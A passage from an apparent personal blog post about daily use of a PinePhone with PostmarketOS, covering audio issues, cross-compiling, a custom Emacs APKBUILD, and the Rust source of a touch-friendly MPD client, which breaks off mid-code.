pipewire-pulse-0.3.51-r1: + breaks: postmarketos-ui-phosh-18-r3[!pipewire-pulse] + satisfies: world[pipewire-pulse] gnome-settings-daemon-42.1-r0[pulseaudio] postmarketos-base-ui-gnome-1-r3[pulseaudio] gnome-session-42.0-r1[pulseaudio-alsa] +#+END_SRC + +Even if Pulse is installed, I'm hesitant to screw with its niceness because it +does not have a reputation of being resourceful. I'm wondering if these issues +would go away if I /did/ switch over to using Pipewire, but the error from =apk= +above makes me think that it would be a hard nut to crack. I've tried [[https://wiki.archlinux.org/title/PulseAudio/Troubleshooting#Setting_the_default_fragment_number_and_buffer_size_in_PulseAudio][setting a +default fragment size]] in Pulse as a more reasonable workaround while I wait +for Pulse to eventually die a slow and painful death. So far, it hasn't fixed +the =mpd= problem, and I'm not especially inclined to troubleshoot further. + +** Cross Compiling Woes + +PostmarketOS maintains a tool for cross-compiling packages (among other things) +called [[https://wiki.postmarketos.org/wiki/Installing_pmbootstrap][pmbootstrap]], which I find to be quite nice. =pmbootstrap init= will set you +up with a chroot pinned at a specific version of PostmarketOS (or =edge=) for a +specific device and architecture, and from there you can use =pmbootstrap build= +to cross-compile packages for installation on the PinePhone. Cross-compiling can +be a bit slow (it literally took a day to compile Emacs PGTK) because, in most +cases, the toolchain will be running under [[https://www.qemu.org/docs/master/user/main.html][QEMU's user space emulator]], but it's +probably better than melting your phone trying to compile things on the device. + +I've had a few sour experiences with cross-compiling, but the issue always came +down to poor quality control in Alpine's =community= repository rather than the +cross compiling workflow not being good. Before learning about [[https://git.sr.ht/~martijnbraam/numberstation][numberstation]], I +was trying to use =gnome-authenticator=, and the version available in =apk= was +[[https://gitlab.alpinelinux.org/alpine/aports/-/issues/13296][completely unusable]]. I tried to build a newer version, which ended up being +incompatible with the libraries installed in my version of PostmarketOS, and I +tried to build a really old version (before the application was rewritten in +Rust), which didn't work either. I ended up cross-compiling [[https://gitlab.alpinelinux.org/alpine/aports/-/issues/13296][otpclient]] with +little friction. + +** Lack of software + +A lot of what I want to do is well-supported by existing Linux packages, but +there are a couple of blind spots like Signal. In theory, I can use Pidgin and +[[https://signald.org/][signald]], but I haven't been bothered to try it. + +In these cases, the solution is to write your own software. + +#+CAPTION: One of the first applications I wrote for my PinePhone: a basic Signal client, in Rust, running on my workstation. I obfuscated my partner's phone number for obvious reasons. +[[./warp-mvp.png]] + +Being able to do this without the complexity (and Java requirement) of the +Android SDK is the biggest appeal of running a Linux phone to me. So much so +that I've got an entire section dedicated to it later in this article. + +#+BEGIN_EXPORT html +
+#+END_EXPORT +Something I was not privy to early in my use of the PinePhone was the existence +of [[https://linuxphoneapps.org/][LinuxPhoneApps]], which enumerates Linux applications and games which are +relatively well-supported on touch screen devices. The list, while smaller than +something like the F-Droid, gives one some hope that the software situation is +improving. +#+BEGIN_EXPORT html +
+#+END_EXPORT + +* The Good Parts + +I started off talking about the problems that come with using a device like the +PinePhone, but I've continued to use it because for me, the benefits far +outweigh the issues, which I'll outline below. + +** Emacs on Mobile + +This is the "killer feature" for me. + +You might expect Emacs on mobile to be little more than a novelty, but the only +application I think I use more than it is Firefox. I've now got a friction-less +=org-capture= device in my pocket. If an idea pops into my head, or if someone +tells me to do something, I just pull out the PinePhone, =M- TODO= and type +it in. That note then makes its way to my other machines by the magic of +[[https://syncthing.net/][Syncthing]]. Another use for mobile Emacs is that, sometimes, I'll cuddle up to my +partner, and they'll fall asleep on me, but I really want to work on a blog +post. If this happens, I can use [[https://www.gnu.org/s/tramp/][TRAMP]] to edit the draft over SSH. In fact, I've +literally edited /this blog post/ from my bed while Oli was asleep on me, using +mobile Emacs. + +The other uses are honestly pretty mundane. I like being able to use =dired= to +browse the local filesystem; I can use [[https://github.com/speedenator/malyon][Malyon]] to play [[https://en.wikipedia.org/wiki/Zork][Zork]] & friends on the go; +and if I'm really bored, I can just start hacking on Scheme or Elisp code while +I'm sitting on the train. + +I was anticipating wanting to pick up [[https://github.com/emacs-evil/evil][evil-mode]], thinking it would be better for +use with an on-screen keyboard, but the Squeekboard terminal layout is actually +quite good for Emacs-ing. I can whip around a buffer at about a fifth my speed +on my workstation, which is pretty good for only using a fifth of my God-given +fingers. Icons (I don't disable =tool-bar-mode= in my mobile configuration) make +for a slightly nicer touch input experience, too. + +#+CAPTION: GNU Emacs on the PinePhone. Not blurry, after the process described below. +[[./pinephone-running-emacs.png]] + +It was a little difficult to get things running. Emacs is in the PostmarketOS +repos.. except the package sucks because it's the old X11 Emacs, and Phosh is +Wayland, so it has to run through Xwayland and fractional scaling makes it a +blurry mess. To resolve that, I ripped a ton of code out of the [[https://git.alpinelinux.org/aports/tree/community/emacs?h=master][APKBUILD]] and +pointed it at a tarball for Emacs =master= (which has [[https://mail.gnu.org/archive/html/emacs-devel/2021-12/msg00126.html][had the PGTK branch merged]]). + +#+BEGIN_EXPORT html +
+#+END_EXPORT + +#+BEGIN_SRC prog +# Maintainer: Natanael Copa <[REDACTED]> +# Contributor: Timo Teräs <[REDACTED]> +pkgname=emacs +pkgver=29.0 +pkgrel=7 +pkgdesc="The extensible, customizable, self-documenting real-time display editor" +arch="all" +depends="emacs-nox" +url="https://www.gnu.org/software/emacs/emacs.html" +license="GPL-3.0-or-later" +makedepends=" + autoconf + automake + gawk + gmp-dev + gnutls-dev + harfbuzz-dev + jansson-dev + linux-headers + ncurses-dev + ncurses-libs + texinfo + " +subpackages="$pkgname-doc $pkgname-nox" +source="emacs-$pkgver.tar.xz" + +case $CARCH in + riscv64|s390x) + # limited by librsvg (rust) + _docdir="nox" + ;; + ,*) + makedepends=" + $makedepends + alsa-lib-dev + fontconfig-dev + giflib-dev + glib-dev + gtk+3.0-dev + libgccjit-dev + libjpeg-turbo-dev + libpng-dev + librsvg-dev + libxaw-dev + libxml2-dev + libxpm-dev + pango-dev + tiff-dev + " + subpackages=" + $subpackages + $pkgname-gtk3 + " + _docdir="gtk3" + ;; +esac + +prepare() { + default_prepare + ./autogen.sh +} + +_build_variant() { + cd "$builddir/$1" + shift + CFLAGS=-fno-pie \ + LDFLAGS=-no-pie \ + ./configure \ + --build=$CBUILD \ + --host=$CHOST \ + --prefix=/usr \ + --sysconfdir=/etc \ + --libexecdir=/usr/lib \ + --localstatedir=/var \ + --with-gameuser=:games \ + --with-gpm \ + --with-harfbuzz \ + --with-json \ + "${@}" + + make $_extra +} + +_build_gtk3() { + _build_variant gtk3 \ + --with-pgtk \ + --with-xft \ + --with-jpeg=yes \ + --with-tiff=no \ + --with-gif=ifavailable \ + --with-xpm=ifavailable +} + + # --with-x-toolkit=gtk3 \ + +_build_nox() { + _build_variant nox \ + --without-sound \ + --without-x \ + --without-file-notification +} + +build() { + mkdir -p nox + mv ./* nox || true + + case "$CARCH" in + riscv64|s390x) + # limited by librsvg (rust) + _build_nox + ;; + ,*) + cp -a nox gtk3 + _build_nox + _build_gtk3 + ;; + esac +} + +package() { + mkdir -p "$pkgdir" +} + +doc() { + depends="" + mkdir -p "$subpkgdir" + cd "$builddir"/"$_docdir" + make DESTDIR="$subpkgdir" install + # remove conflict with ctags package + mv "$subpkgdir"/usr/share/man/man1/ctags.1.gz "$subpkgdir"/usr/share/man/man1/ctags.emacs.1.gz + # only keep info and man directories, all other is in the specific package + rm -rf "${subpkgdir:?}"/usr/bin \ + "$subpkgdir"/usr/lib \ + "$subpkgdir"/usr/share/appdata \ + "$subpkgdir"/usr/share/applications \ + "$subpkgdir"/usr/share/emacs \ + "$subpkgdir"/usr/share/icons \ + "${subpkgdir:?}"/var \ + "$subpkgdir"/usr/lib/systemd +} + +_subpackage() { + cd "$builddir/$1" + make DESTDIR="$subpkgdir" install + + # remove conflict with ctags package + mv "$subpkgdir"/usr/bin/ctags "$subpkgdir"/usr/bin/ctags.emacs + rm -rf "$subpkgdir"/usr/share/info \ + "$subpkgdir"/usr/share/man + + # fix user/root permissions on usr/share files + find "$subpkgdir"/usr/share/emacs/ -exec chown root:root {} \; + find "$subpkgdir"/usr/lib -perm -g+s,g+x ! -type d -exec chmod g-s {} \; + # fix perms on /var/games + chmod 775 "$subpkgdir"/var/games + chmod 775 "$subpkgdir"/var/games/emacs + chmod 664 "$subpkgdir"/var/games/emacs/* + chown -R root:games "$subpkgdir"/var/games + + # remove useless systemd user file + rm -rf "$subpkgdir"/usr/lib/systemd +} + +nox() { + pkgdesc="$pkgdesc - without X11" + depends=" + !emacs-gtk3 + !emacs-gtk3-nativecomp + !emacs-x11 + !emacs-x11-nativecomp + " + _subpackage nox +} + +gtk3() { + pkgdesc="$pkgdesc - with GTK3" + depends=" + !emacs-gtk3-nativecomp + !emacs-nox + !emacs-x11 + !emacs-x11-nativecomp + desktop-file-utils + hicolor-icon-theme + " + _subpackage gtk3 +} + +sha512sums=" +20c96e4485b9acbc5c9049bca9b4d9675cd5f4062cd04a9abde4fb7088c7dc55e3bf473acce8f447825c0c1fd9a5def23623d0219bc0353b31892a0cc23f7884 emacs-29.0.tar.xz +" +#+END_SRC + +#+BEGIN_EXPORT html +
+#+END_EXPORT + +There is no Emacs =29.0= (yet, at the time of writing this), that's just so =apk= +knows that this is newer than what's in the repositories. + +And if you find the code snippet incomprehensible, don't worry, because I've got +a gentler introduction to Alpine packaging [[*Porting Software][later in this article]]. + +** YouTube on Mobile + +I was a [[https://en.wikipedia.org/wiki/NewPipe][NewPipe]] user when I was using Android. I'd frequently find it unusable, +and the times it was usable, I'd still get annoying toasts warning me of errors, +just about every time I watched a video. The F-Droid package didn't keep up with +YouTube cat-and-mouse game as quickly as youtube-dl did. I always thought about +how nice it would be to use =mpv= and =yt-dlp= just like I do on desktop, and that's +now a reality. + +#+CAPTION: mpv playing one of Andreas Kling's YouTube videos on SerenityOS, using yt-dlp to resolve the media stream. +[[./pinephone-running-mpv.png]] + +I get the video URLs from RSS and invoke =mpv= from the terminal. I find it +convenient. The only issue I had is that the screen blanks automatically even +when a video is playing, but this is easily remedied by prefixing =mpv= with +=gnome-session-inhibit --inhibit idle=. + +** Better Music Player + +LineageOS included the old Cyanogenmod Music app [[https://github.com/CyanogenMod/android_packages_apps_Eleven][Eleven]], and that's what I used +when I was on Android. I didn't see a purpose in using any other music player +since they all seem to use the same Android APIs and, hence, all suck as much as +Eleven does. Among other things, it cuts out frequently (presumably the process +getting killed due to memory pressure), and it can't even load a damned jpeg. + +#+CAPTION: Album artwork being mangled by some bug unknown to me. +[[./music-on-zeta.png]] + +So I was quite happy to be able to use =mpd= to listen to music on the PinePhone. +My entire library's managed with Syncthing. + +** Running scripts, cron, other automation + +Another "killer feature" is just being able to automate things with =bash= and +=cron= the way I would on desktop. One pain point I remember particularly when I +was using Android was manually adjusting the screen color temperature in +settings. Now I can just use =cron= to run =wlsunset= at a particular hour. + +I suppose that's the only example that's worth mentioning. I haven't leveraged +it as much as I could have (but I expect to in the future.) + +** Convergence + +A selling point of the PinePhone is [[https://yewtu.be/watch?v=yBeza4UNOm8][convergence]], enabling you to plug your phone +into a monitor and keyboard (over USB-C), and use it as if it were a desktop +computer. I haven't taken advantage of this yet, but I can SSH into my phone. +That's already far better than what I can do on Android, and it's enough for me +to be happy -- just being able to pull/push files over rsync, run shell commands +over SSH using an actual keyboard... + +The only thing I wish I could do is send SMS over SSH and get notifications from +my phone on my workstation. SMS messages can (theoretically) be sent using +=mmcli=, and I'm not sure about notifications. Perhaps I've made a programming +project for myself. + +** Run Linux Desktop Applications + +Nearly all of the above points boil down to the PinePhone enabling me to run +Linux desktop applications on mobile. Consistency is nice. Who would have known! + +* Software Development + +I consider this to be one of "The Good Parts", but it ended up being big enough +to take up a section of its own. + +** Software Stack Freedom + +If you're at least mildly familiar with Android, you know that the Java +ecosystem is nearly unavoidable if you're doing application development for the +platform.[fn:10] The NDK enables application developers to write code in other +languages (provided they "compile down" to machine code) but it isn't practical +to write an entire application this way, as NDK code is limited in the ways it +can interact with Android's APIs. Furthermore, the Android SDK is a pain in the +ass to use if you're not using [[https://en.wikipedia.org/wiki/Android_Studio][Google's IDE]]. It's doable, and I have [[https://git.sr.ht/~jakob/mines][done it in +the past]], but I got frustrated before I could set up an emulator for improving +the feedback loop. I was literally pushing to my device via =adb= on every build +if I wanted to experiment with something. That said, it is easy to understand +why it is this way. Google (and Apple) want to have uniformity across their +platforms' third-party applications, so they impose strong opinions (you /must/ +use our UI framework, you /must/ use our Java APIs). Comparatively, the +applications that run on my PinePhone are literally the same applications that +run on my workstation. I can use any language or libraries I want, provided they +support AArch64. I can develop and test on my workstation, and then push it to +the PinePhone with high confidence that it will work as intended. + +I've been writing my applications in Rust with =gtk-rs= and =libhandy=. There's been +a (somewhat recent) distinction between "application programming languages" and +"systems programming languages." Rust falls into the latter. The distinction is +somewhat arbitrary as you can write an application in assembly, but the reason +it's come up in recent years is because people want a way to describe languages +that (1) aren't interpreted or VM languages and (2) don't have a convenient +garbage collector. These sorts of language seem to work quite well for a +resource-constrained environment like the PinePhone, even if it is somewhat more +difficult than using something like Python or Ruby. + +Using Rust is perhaps a bit overkill. I'm sure Vala would have been a good +choice, too, since it compiles to C, but I went with Rust because I'm more +comfortable with it and it has a ecosystem of libraries for the sorts of things +I want to do. + +So that's all I have to say about the language decision, but there's the +decision of UI toolkit too. I went with GTK3 and [[https://gitlab.gnome.org/GNOME/libhandy][libhandy]]: the classic GNOME UI +toolkit and [[https://puri.sm/][Purism]]'s supporting library for adaptive, mobile-friendly layouts +and widgets. But that isn't the only option available. Still in GNOME land, +there is GTK4 and [[https://blogs.gnome.org/alexm/2021/12/31/libadwaita-1-0/][libadwaita]], which I'll probably be using in the near future. +I'm just a little slow to start using cool new things. There are /many/ more +choices on the Plasma Mobile side of the house: [[https://develop.kde.org/frameworks/kirigami//][Kirigami]], [[https://mauikit.org/][MauiKit]] (built on top +of Kirigami), plain [[https://doc.qt.io/qt-5/qtquick-index.html][QtQuick]], or Sailfish OS's [[https://sailfishos.org/develop/docs/silica/][Silica]]. While GTK and QT are the +leading frameworks, I was keeping a close eye on [[https://github.com/dvdsk/pods][pods]], a PinePhone-oriented +application using Rust's [[https://github.com/iced-rs/iced][iced]], which is neither GTK nor QT. Unfortunately, it +looks to have since stagnated. But [[https://sr.ht/~mil/mepo/][mepo]], a maps application, is a surprisingly +pleasant mobile experience and is written just in SDL. + +As an aside, I'd like to experiment with some immediate-mode UI frameworks on +the PinePhone. GTK is relatively performant, but I'm curious about whether +something like [[https://github.com/emilk/egui][egui]] would be "snappier". Hell, maybe it would be interesting to +try and write my own UI framework. + +*** "Tunes", an MPD Client for Rust + +To demonstrate the GTK3 and libhandy combo, I decided to write the minimum +viable product of an application I want on my PinePhone that, to my knowledge, +doesn't exist yet. A touch-friendly GTK+ MPD client. + +Yes... I've been using =mpc= in the terminal emulator since I got the phone. It's +not as pleasant when you don't have a real keyboard, so this application will +theoretically improve my quality-of-life. + +But, because I don't want this post to take any longer than it already has, I'm +just going to write about what I could get done in a few weeknights. It's a +single-file, and fairly self-contained. + +*** Alright, Let's See the Code + +It's a few hundred lines and I've dumped it here under a fold since it's a few +hundred lines. You can find it [[https://git.sr.ht/~jakob/tunes][on SourceHut]] as well, which has the =Cargo.toml= +and all that you would need to actually build it. + +#+BEGIN_EXPORT html +
+#+END_EXPORT + +#+BEGIN_SRC rust +// Copyright © 2021-2022 Jakob L. Kreuze <[REDACTED]> +// +// This file is part of Tunes. +// +// Tunes is free software; you can redistribute it and/or modify it +// under the terms of the GNU Affero General Public License as +// published by the Free Software Foundation; either version 3 of the +// License, or (at your option) any later version. +// +// Tunes is distributed in the hope that it will be useful, but WITHOUT +// ANY WARRANTY; without even the implied warranty of MERCHANTABILITY +// or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General +// Public License for more details. +// +// You should have received a copy of the GNU Affero General Public +// License along with Tunes. If not, see . + +use futures::{channel::mpsc, StreamExt}; +use glib::clone; +use gtk::prelude::*; +use gtk::subclass::prelude::ObjectSubclassExt; +use gtk::{gdk_pixbuf, gio, glib, pango}; +use libhandy::prelude::*; +use libhandy::{ApplicationWindow, HeaderBar}; +use mpd::idle::Idle; +use mpd::Client; + +const MPD_HOST: &str = "127.0.0.1:6600"; + +fn main() { + let application = gtk::Application::builder() + .application_id("space.jakob.Tunes") + .build(); + + // We have to wait until the `activate` signal is fired before we can do our + // setup. + application.connect_activate(|app| { + // Our event-handling code will look a bit like what's common in SDL + // with their `SDLPollEvent` interface, in the sense that we'll have all + // of the different sub-systems of this application notify the main + // event loop by way of a channel. + let (sender, mut receiver) = mpsc::channel(1024); + + // Load all of the mobile UI support code from `libhandy`. + libhandy::init(); + + // `mpd` will notify us of events. Let's spin up a thread to listen for + // those notifications, and shuttle them through a channel as they + // arrive. + std::thread::spawn(clone!(@strong sender => move || { + let mut conn = Client::connect(MPD_HOST).unwrap(); + while let Ok(_subsystems) = conn.wait(&[mpd::idle::Subsystem::Player]) { + let mut sender = sender.clone(); + sender + .try_send(StateUpdateKind::MpdEvent) + .expect("Couldn't notify thread"); + } + })); + + // We'll connect to the MPD daemon here so we can populate the UI with + // some information from the current state. + let mut conn = Client::connect(MPD_HOST).unwrap(); + + // We'll have two "views" in our application: one for viewing and + // manipulating the current `mpd` queue, and another for searching for + // songs to add to the queue. In GTK, we can handle switching between + // these different views using a Stack. + let stack = gtk::Stack::new(); + stack.set_expand(true); + + let song_info = SongInfo::new(sender.clone()); + stack.add_named(song_info.as_ref(), "current_song"); + stack.set_child_title(song_info.as_ref(), Some("Now Playing")); + stack.set_child_icon_name(song_info.as_ref(), Some("audio-speakers-symbolic")); + + let query_info = QueryInfo::new(sender.clone()); + stack.add_named(query_info.as_ref(), "query_songs"); + stack.set_child_title(query_info.as_ref(), Some("Search Database")); + stack.set_child_icon_name(query_info.as_ref(), Some("system-search-symbolic")); + + // The `HeaderBar` is a GTK concept that libhandy plays nicely with. On + // desktop, the elements for switching stack views will show up there. + // On mobile, it will show up in a `ViewSwitcherBar` at the bottom. + let header_bar = HeaderBar::builder() + .show_close_button(true) + .title(&header_title(&mut conn).unwrap()) + .build(); + let view_switcher_title = libhandy::ViewSwitcherTitle::builder() + .title("Tunes") + .stack(&stack) + .build(); + header_bar.add(&view_switcher_title); + let view_switcher_bar = libhandy::ViewSwitcherBar::builder() + .visible(true) + .can_focus(false) + .stack(&stack) + .reveal(true) + .build(); + + // The window needs a single child, so we'll join the header bar, the + // stack, and the view switcher into a single box. + let content = gtk::Box::new(gtk::Orientation::Vertical, 0); + content.set_vexpand(true); + content.add(&header_bar); + content.add(&stack); + content.add(&view_switcher_bar); + + // Finally, the window. It's tied to a child, which we made above, and + // the GtkApplication that we declared at the beginning of `main`. + let window = ApplicationWindow::builder() + .default_width(350) + .default_height(70) + .modal(true) + .child(&content) + .build(); + window.set_application(Some(app)); + window.show_all(); + + // This isn't perfect (it won't run when the window gets its initial + // size), but this is how we notify that the album art display should be + // resized. + window.connect_configure_event(clone!(@strong sender => move |_, _| { + let mut sender = sender.clone(); + sender + .try_send(StateUpdateKind::WindowResizeEvent) + .expect("Couldn't notify thread"); + false + })); + + // Now that everything's been allocated a window, let's go ahead and + // update the widgets. + song_info + .update(&mut conn) + .expect("Couldn't update song info"); + + // The following code will fill the search view with every song in the + // database. If you have a music library as big as mine, it will + // negatively impact startup time. This could be done in, for example, a + // worker thread, but I've just omitted it because I don't want this + // example to be more complex than it has to be. + // + // let mut query = mpd::Query::new(); + // query.and(mpd::Term::Any, ""); + // let songs = conn.search(&query, (0, 65535)); + // for song in songs.unwrap() { + // query_info.model.insert(0, &SongObject::new(&song)); + // } + + // Finally, we'll start the "main event loop" we've been talking about + // in the main context of the application. + let main_context = gtk::glib::MainContext::default(); + main_context.spawn_local(async move { + let mut conn = Client::connect(MPD_HOST).unwrap(); + while let Some(event_type) = receiver.next().await { + match event_type { + StateUpdateKind::MpdEvent => { + if let Ok(title) = header_title(&mut conn) { + header_bar.set_title(Some(&title)); + song_info + .update(&mut conn) + .expect("Couldn't update song info"); + } + } + StateUpdateKind::WindowResizeEvent => { + song_info + .update_album_art(&mut conn) + .expect("Couldn't update album art"); + } + StateUpdateKind::QueryUpdateEvent(query_string) => { + // Let's not produce massive queries while the user is typing :) + if query_string.len() <= 2 { + continue; + } + + // Start from a blank slate. + query_info.model.remove_all(); + + // Query on all fields, case-insensitively, for the text + // that the user input. + let mut query = mpd::Query::new(); + query.and(mpd::Term::Any, &query_string); + let songs = conn.search(&query, (0, 65535)); + + // Insert them all into the model. This is reversed, + // which I don't consider to be a big deal. It's far + // less complex than adding it in order, which you will + // see below in the code that handles the queue. + for song in songs.unwrap() { + query_info.model.insert(0, &SongObject::new(&song)); + } + } + StateUpdateKind::QueueDeleteRequest(index) => { + conn.delete(index).expect("Couldn't dequeue song"); + } + StateUpdateKind::QueueAddRequest(filename) => { + conn.push_str(filename).expect("Couldn't queue song"); + } + StateUpdateKind::PlaybackStateChange(action) => { + dispatch_playback_state_change(&mut conn, action) + .expect("Couldn't queue action"); + } + } + } + }); + }); + + application.run(); +} + +/// Take action on `conn` based on a `PlaybackStateChange` notification +fn dispatch_playback_state_change( + conn: &mut mpd::Client, + action: PlaybackStateChange, +) -> anyhow::Result<()> { + use PlaybackStateChange::*; + match action { + SkipBackwards => conn.prev()?, + SkipForwards => conn.next()?, + Start => conn.play()?, + Stop => conn.stop()?, + Pause => conn.pause(true)?, + } + Ok(()) +} + +/// Kind of event we can notify the UI future about +#[derive(Debug)] +enum StateUpdateKind { + MpdEvent, + WindowResizeEvent, + QueryUpdateEvent(String), + QueueAddRequest(String), + QueueDeleteRequest(u32), + PlaybackStateChange(PlaybackStateChange), +} + +/// A simple action that affects playback state. +#[derive(Debug)] +enum PlaybackStateChange { + Start, + Stop, + Pause, + SkipBackwards, + SkipForwards, +} + +/// Produce a short status line for the current state of `conn`. +fn header_title(conn: &mut mpd::client::Client) -> anyhow::Result { + let status = conn.status(); + let state_descriptor = match status?.state { + mpd::status::State::Stop => "[STOPPED]", + mpd::status::State::Pause => "[PAUSED]", + mpd::status::State::Play => "[PLAYING]", + }; + if let Some(song) = conn.currentsong()? { + Ok(format!( + "{} {} - {}", + state_descriptor, + song.title.unwrap_or_else(|| "Untitled".into()), + song.artist.unwrap_or_else(|| "Untitled".into()), + )) + } else { + Ok("Tunes: No Song".into()) + } +} + +/// View for information about the currently playing song. +struct SongInfo { + container: gtk::Box, + album_art: gtk::Image, + song_text: gtk::Label, + model: gio::ListStore, +} + +impl SongInfo { + fn new(sender: mpsc::Sender) -> Self { + let container = gtk::Box::new(gtk::Orientation::Vertical, 16); + let album_art = gtk::Image::new(); + let song_text = gtk::Label::new(None); + song_text.set_justify(gtk::Justification::Center); + song_text.set_line_wrap(true); + song_text.set_line_wrap_mode(pango::WrapMode::WordChar); + container.add(&album_art); + container.add(&song_text); + + let action_bar = gtk::Box::new(gtk::Orientation::Horizontal, 16); + action_bar.set_halign(gtk::Align::Center); + + let control_previous_song = gtk::Button::from_icon_name( + Some("media-skip-backward-symbolic"), + gtk::IconSize::SmallToolbar, + ); + action_bar.add(&control_previous_song); + control_previous_song.connect_clicked(clone!(@strong sender => move |_| { + let mut sender = sender.clone(); + sender + .try_send(StateUpdateKind::PlaybackStateChange( + PlaybackStateChange::SkipBackwards, + )) + .expect("Couldn't notify thread"); + })); + + let control_start_song = gtk::Button::from_icon_name( + Some("media-playback-start-symbolic"), + gtk::IconSize::SmallToolbar, + ); + action_bar.add(&control_start_song); + control_start_song.connect_clicked(clone!(@strong sender => move |_| { + let mut sender = sender.clone(); + sender + .try_send(StateUpdateKind::PlaybackStateChange( + PlaybackStateChange::Start, + )) + .expect("Couldn't notify thread"); + })); + + let control_pause_song = gtk::Button::from_icon_name( + Some("media-playback-pause-symbolic"), + gtk::IconSize::SmallToolbar, + ); + action_bar.add(&control_pause_song); + control_pause_song.connect_clicked(clone!(@strong sender => move |_| { + let mut sender = sender.clone(); + sender + .try_send(StateUpdateKind::PlaybackStateChange( + PlaybackStateChange::Pause, + )) + .expect("Couldn't notify thread"); + })); + + let control_stop_song = gtk::Button::from_icon_name( + Some("media-playback-stop-symbolic"), + gtk::IconSize::SmallToolbar, + ); + action_bar.add(&control_stop_song); + control_stop_song.connect_clicked(clone!(@strong sender => move |_| { + let mut sender = sender.clone(); + sender + .try_send(StateUpdateKind::PlaybackStateChange( + PlaybackStateChange::Stop, + )) + .expect("Couldn't notify thread"); + })); + + let control_next_song = gtk::Button::from_icon_name( + Some("media-skip-forward-symbolic"), + gtk::IconSize::SmallToolbar, + ); + action_bar.add(&control_next_song); + control_next_song.connect_clicked(clone!(@strong sender => move |_| { + let mut sender = sender.clone(); + sender + .try_send(StateUpdateKind::PlaybackStateChange( + PlaybackStateChange::SkipForwards, + )) + .expect("Couldn't notify thread"); + })); + + let model = gio::ListStore::new(SongObject::static_type()); + let listbox = gtk::ListBox::new(); + listbox.bind_model( + Some(&model), + clone!(@strong sender => move |item| { + let sender = sender.clone(); + + let box_ = gtk::ListBoxRow::new(); + let item = item + .downcast_ref::() + .expect("Row data is of wrong type"); + + let grid = gtk::Grid::builder().column_homogeneous(true).build(); + + let remove_individual_song = gtk::Button::from_icon_name( + Some("list-remove-symbolic"), + gtk::IconSize::SmallToolbar, + ); + let index = item.property::("index"); + remove_individual_song.connect_clicked(move |_| { + let mut sender = sender.clone(); + sender + .try_send(StateUpdateKind::QueueDeleteRequest(index)) + .expect("Couldn't notify thread"); + sender + .try_send(StateUpdateKind::MpdEvent) + .expect("Couldn't notify thread"); + }); + grid.attach(&remove_individual_song, 0, 0, 1, 1); + + let title_label = gtk::Label::new(None); + title_label.set_line_wrap(true); + title_label.set_line_wrap_mode(pango::WrapMode::WordChar); + item.bind_property("title", &title_label, "label") + .flags(glib::BindingFlags::DEFAULT | glib::BindingFlags::SYNC_CREATE) + .build(); + grid.attach(&title_label, 1, 0, 1, 1); + + let album_label = gtk::Label::new(None); + album_label.set_line_wrap(true); + album_label.set_line_wrap_mode(pango::WrapMode::WordChar); + item.bind_property("album", &album_label, "label") + .flags(glib::BindingFlags::DEFAULT | glib::BindingFlags::SYNC_CREATE) + .build(); + grid.attach(&album_label, 2, 0, 1, 1); + + + let artist_label = gtk::Label::new(None); + artist_label.set_line_wrap(true); + artist_label.set_line_wrap_mode(pango::WrapMode::WordChar); + item.bind_property("artist", &artist_label, "label") + .flags(glib::BindingFlags::DEFAULT | glib::BindingFlags::SYNC_CREATE) + .build(); + grid.attach(&artist_label, 3, 0, 1, 1); + + grid.show_all(); + box_.add(&grid); + box_.upcast::() + }), + ); + + let scrolled_window = + gtk::ScrolledWindow::new(gtk::Adjustment::NONE, gtk::Adjustment::NONE); + scrolled_window.add(&listbox); + scrolled_window.set_vexpand(true); + + container.add(&action_bar); + container.add(&scrolled_window); + container.show_all(); + + SongInfo { + container, + album_art, + song_text, + model, + } + } + + fn update_album_art(&self, conn: &mut mpd::Client) -> anyhow::Result<()> { + if let Some(song) = conn.currentsong()? { + // If we've been allocated a window, pick the least dimension (width + // or height) and divide that dimension by two to get the size (in + // pixels) that we'll scale the album art to. Otherwise, we default + // to 128. + let album_art_size = std::cmp::min( + self.container + .window() + .map(|x| x.width() / 2) + .unwrap_or(128), + self.container + .window() + .map(|x| x.height() / 2) + .unwrap_or(128), + ); + + let image_data = conn.albumart(&song)?; + let image_pixbuf = gdk_pixbuf::Pixbuf::from_stream( + &gio::MemoryInputStream::from_bytes(&glib::Bytes::from(&image_data)), + gio::Cancellable::NONE, + ) + .ok() + .and_then(|x| { + x.scale_simple( + album_art_size, + album_art_size, + gtk::gdk_pixbuf::InterpType::Hyper, + ) + }); + self.album_art.set_pixbuf(image_pixbuf.as_ref()); + } + Ok(()) + } + + fn update(&self, conn: &mut mpd::Client) -> anyhow::Result<()> { + self.update_album_art(conn)?; + + if let Some(song) = conn.currentsong()? { + let title = song.title.as_deref().unwrap_or("[Unknown]"); + let artist = song.artist.as_deref().unwrap_or("[Unknown]"); + let album = song + .tags + .get("Album") + .map(|x| x.as_str()) + .unwrap_or("[Unknown]"); + let text = format!("{}\n{} - {}", title, artist, album); + self.song_text.set_text(&text); + + // We'll use `pango` attributes to make the display look nice and + // pretty. Scale the title of the song the most, and still make the + // other info reasonably large. + let attr_list = gtk::pango::AttrList::new(); + let mut attr = gtk::pango::AttrFloat::new_scale(2.0); + attr.set_start_index(0); + attr.set_end_index(title.len() as u32); + attr_list.insert(attr); + let mut attr = gtk::pango::AttrFloat::new_scale(1.5); + attr.set_start_index(title.len() as u32 + 1); + attr_list.insert(attr); + + self.song_text.set_attributes(Some(&attr_list)); + } + + self.model.remove_all(); + for (i, song) in conn.queue()?.iter().enumerate() { + let index = i.try_into().unwrap(); + let object = SongObject::new(song); + object.set_index(index); + self.model.insert(index, &object) + } + + Ok(()) + } +} + +impl AsRef for SongInfo { + fn as_ref(&self) -> >k::Widget { + self.container.upcast_ref() + } +} + +/// View for selecting songs to add to the queue. +struct QueryInfo { + container: gtk::Box, + model: gio::ListStore, +} + +impl QueryInfo { + fn new(sender: mpsc::Sender) -> Self { + let container = gtk::Box::new(gtk::Orientation::Vertical, 2); + + let query_input = gtk::Entry::builder().visible(true).build(); + query_input.connect_key_press_event(clone!(@strong sender => move |widget, _| { + let mut sender = sender.clone(); + sender + .try_send(StateUpdateKind::QueryUpdateEvent(widget.text().into())) + .expect("Couldn't notify thread"); + gtk::Inhibit(false) + })); + + let model = gio::ListStore::new(SongObject::static_type()); + let listbox = gtk::ListBox::new(); + listbox.bind_model(Some(&model), clone!(@strong sender => move |item| { + let sender = sender.clone(); + + let box_ = gtk::ListBoxRow::new(); + let item = item + .downcast_ref::() + .expect("Row data is of wrong type"); + + let grid = gtk::Grid::builder().column_homogeneous(true).build(); + + let add_individual_song = + 